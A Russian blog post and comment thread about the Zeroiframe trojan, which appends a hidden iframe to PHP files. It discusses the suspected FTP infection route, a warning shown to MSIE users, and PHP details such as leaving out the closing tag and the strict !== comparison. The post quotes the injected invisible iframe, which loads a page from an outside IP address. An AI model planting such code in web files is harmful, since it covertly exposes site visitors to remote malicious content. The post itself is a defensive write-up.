Я об этом не раз слышал от хостеров, вчера увидел на одном сайте как это работает. Называется Zeroiframe, дописывает к PHP-файлам в конец такой вот код:
<iframe src="http://209.200.228.43/adv.html" width=1 height=1 style="visibility: hidden;"></iframe>
Хорошо, что я не пишу в PHP-код закрывающий ?> и поэтому такое дописывание iframe просто делает код неработоспособным.
Подозрение пало на трояна с компьютера сисадмина, который незадолго до инцидента подключался к хосту по FTP из Windows. Удивительно, но 1/3 посетителей этого блога все еще использует MSIE, специально для них неполенился добавить в правую колонку ахтунг-блок, с таким условием видимости на стороне сервера:
return isset($_SERVER['HTTP_USER_AGENT']) && strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== FALSE;

Так а антивирусы это ловят?
Далее. Я не пишу на PHP. Плюс у Вас с пунктуацией проблемы. =)
Полагаю, что читать следует так: «Хорошо, что я не пишу в PHP-код закрывающий "?>" и поэтому»…
Два вопроса для самообразования:
1) А это нормально — не закрывать? Нигде просто в аналогах (perl-cgi, asp) такого не видел. Повтаряю, в PHP я ноль (ну или 0,0001).
2) В чем смысл конструкции "fn(x) != FALSE"? Оно ли не эквивалентно простому "fn(x)"?
Лучше подписывать каменты с вопросами.
Наверняка ловят. Обновлять базы надо и все время держать загруженным антивирус во время серфинга. Проще браузер сменить на менее популярный.
PHP-код...
1) Нормально. Конечно речь идет не о шаблонах, а о модулях, библиотеках, где открываем один раз в начале файла и все. Придумал не я. Аргументы за "не закрывать": не возникает неожиданностей из за отправленных заголовков в каком-то модуле за счет лишнего пробела после ?>, закрывать не обязательно, в примерах с PHP.net не закрывают, ну и новомодные трояны.
2) Не !=, а !==. Это в php специальный оператор сравнения без преобразования типа: (0 !== FALSE) это TRUE, а (0 != FALSE) это FALSE. Не эквивалентно в php т.к. strpos может вернуть как 0 так и FALSE.
Ясно. Спасибо за подробные комментарии!
UPD: Пардон, «повторяю» ;-) У меня проблемы с орфографией.
Post new comment